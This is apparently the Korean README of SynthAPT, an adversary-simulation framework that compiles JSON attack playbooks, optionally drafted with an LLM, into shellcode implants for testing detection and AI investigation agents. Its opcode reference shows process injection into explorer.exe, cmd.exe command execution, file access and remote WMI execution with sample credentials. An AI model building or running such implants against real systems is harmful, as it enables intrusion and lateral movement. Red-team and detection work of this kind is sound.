JSON으로 정의된 공격 경로를 위치 독립적인 셸코드 페이로드로 컴파일하여 고급 탐지 및 AI 기반 조사 에이전트를 검증하는 플레이북 기반 적대자 시뮬레이션 프레임워크입니다.

SynthAPT는 복잡한 공격 경로를 재현하기 위한 플레이북 기반의 적대 시뮬레이션 프레임워크입니다. 고급 탐지 및 AI 기반 조사 에이전트를 검증하기 위해 설계되었습니다. 핵심 아이디어는 악성코드 동작을 JSON으로 표현하고 기능성 악성코드로 컴파일하여 LLM을 사용한 현실적인 시나리오의 신속한 개발을 가능하게 하는 것입니다.

핵심 임플란트는 플레이북 인터프리터에 의해 구동되는 셸코드 페이로드입니다. 플레이북은 전체 공격 경로를 미리 정의하고 임플란트는 이를 따라 프로세스 인젝션, 횡적 이동 등을 통해 환경을 이동합니다. 각 임플란트는 고유한 명령어 세트를 가진 독립적인 스레드로 생성되므로, 다단계 공격(예: 초기 접근 → 권한 상승 → 횡적 이동 → 데이터 유출)은 협력하는 임플란트들의 그래프로 표현되며, 모두 플레이북에 사전 정의됩니다. 이는 세 가지 주요 이점이 있습니다:

릴리스를 사용하지 않으려면 다음과 같이 컴파일할 수 있습니다:
cargo make로 빌드:```bash
cargo make build
./target/release/synthapt
이것은 shellcode와 편집기를 컴파일합니다.
명령 없이 SynthAPT를 실행하면 편집기로 이동합니다. Claude API 키를 제공하고 프롬프트를 입력하면서 변경 사항을 확인할 수 있습니다.```bash SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload
다른 LLM이나 구독을 사용하려면 `synthapt export-skill`을 실행한 후, 자신이 사용하는 코딩 환경과 함께 사용할 수 있습니다.
JSON 플레이북이 출력됩니다. 컴파일 명령어로 페이로드로 컴파일하세요:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
상수는 문자열, hex 객체 또는 base64 객체로 정의할 수 있습니다:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]
---
### end (0x00)
작업 집합의 끝입니다. 컴파일러에 의해 자동으로 추가되므로 직접 추가할 필요가 없습니다.
---
### store_result (0x01)
마지막 연산 결과를 변수에 저장합니다.
| 필드 | 타입 | |
|-------|------|-|
| var | u16 | **필수** |```json
{ "op": "store_result", "var": 0 }
선택적 작업 ID 및/또는 매직 값이 패치된 현재 셸코드 바이트를 반환합니다.
| 필드 | 타입 | |
|---|---|---|
| task | u8 | 선택 사항 |
| magic | u32 16진수 문자열 또는 숫자 | 선택 사항 |
| { "op": "get_shellcode" } | ||
| { "op": "get_shellcode", "task": 5, "magic": "0x18181818" } |
---
### sleep (0x03)
주어진 밀리초 동안 대기합니다.
| Field | Type | |
|-------|------|-|
| ms | u32 | **필수** |```json
{ "op": "sleep", "ms": 5000 }
cmd.exe를 통해 명령을 실행합니다.
| 필드 | 유형 | |
|---|---|---|
| command | string | 필수 |
| { "op": "run_command", "command": "whoami /all" } |
---
### get_cwd (0x05)
현재 작업 디렉토리를 가져옵니다. 인자가 없습니다.```json
{ "op": "get_cwd" }
파일을 읽고 그 내용을 반환합니다.
| Field | Type | |
|---|---|---|
| path | string | 필수 |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | ||
| { "op": "read_file", "path": "%0" } |
---
### write_file (0x07)
바이트를 파일에 씁니다.
| 필드 | 타입 | |
|-------|------|-|
| 경로 | 문자열 | **필수** |
| 내용 | 바이트 | *선택 사항* (생략 시 빈 파일) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
변수의 상태 코드를 출력합니다 (0 = 성공, 0이 아닌 값 = 오류).
| Field | Type | |
|---|---|---|
| var | u16 | 필수 |
| { "op": "check_error", "var": 0 } |
---
### conditional (0x09)
변수 상태에 따라 다른 작업 인덱스로 분기합니다.
| 필드 | 타입 | |
|-------|------|-|
| mode | `"data"` 또는 `"error"` | **필수** |
| var1 | u16 | **필수** |
| var2 | u16 | *선택사항* (단일 검사 대신 두 변수 비교) |
| true | u16 | **필수** (조건이 참일 경우 작업 인덱스) |
| false | u16 | **필수** (조건이 거짓일 경우 작업 인덱스) |
`true_target` 및 `false_target`은 `true`와 `false`의 별칭으로 허용됩니다.
단일 변수 모드:
- `"data"` — var1에 비어 있지 않은 데이터가 있으면 참
- `"error"` — var1 상태가 0(성공)이면 참
두 변수 모드(var2 존재):
- `"data"` — var1 데이터가 var2 데이터와 같으면 참
- `"error"` — var1 오류 코드가 var2 오류 코드와 같으면 참```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
변수를 리터럴 값으로 설정합니다.
| Field | Type | |
|---|---|---|
| var | u16 | 필수 |
| data | bytes | 선택 사항 (생략 시 비어 있음) |
리터럴 문자열과 16진수/베이스64 값은 읽을 때 일반 작업 결과처럼 보이도록 5바이트 결과 접두사와 함께 저장됩니다. 변수($n) 및 상수(%n) 참조는 그대로 전달됩니다.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
---
### print_var (0x0B)
표준 출력(stdout)에 변수의 내용을 출력합니다(디버그). `var`를 생략하면 마지막 연산 결과를 출력합니다.
| 필드 | 타입 | |
|-------|------|-|
| var | u16 | *선택 사항* (없으면 마지막 결과 출력) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
현재 작업 세트 내에서 특정 작업 인덱스로 무조건 점프합니다.
| 필드 | 타입 | |
|---|---|---|
| target | u16 | 필수 |
| { "op": "goto", "target": 2 } |
---
### migrate (0x0D)
검색 문자열이나 PID와 일치하는 프로세스에 셸코드를 주입합니다.
| Field | Type | |
|-------|------|-|
| task_id | u8 | **필수** |
| search | string or number | *선택사항* (비어 있음 = 검색 안 함; 숫자 = 대상 PID) |
| magic | u32 hex string or number | *선택사항* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
실행 중인 프로세스를 나열합니다. 탭으로 구분된 줄을 반환합니다: pid\timage\tcmdline\n. 인수가 없습니다.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
마지막 결과에 상수를 로드합니다. `index` 또는 `const_idx`를 필드 이름으로 허용합니다.
| 필드 | 타입 | |
|-------|------|-|
| index | u16 | **필수** |```json
{ "op": "get_const", "index": 0 }
WMI를 통해 명령을 실행하며, 선택적으로 원격 호스트에서 실행할 수 있습니다.
| Field | Type | |
|---|---|---|
| command | string | 필수 |
| host | string | 선택 사항 (비어 있으면 로컬 호스트) |
| user | string | 선택 사항 (비어 있으면 현재 사용자) |
| pass | string | 선택 사항 (비어 있으면 현재 자격 증명) |
| { "op": "wmi_exec", "command": "calc.exe" } | ||
| { "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" } |
---
### http_send (0x11)
HTTP/S 요청을 보냅니다.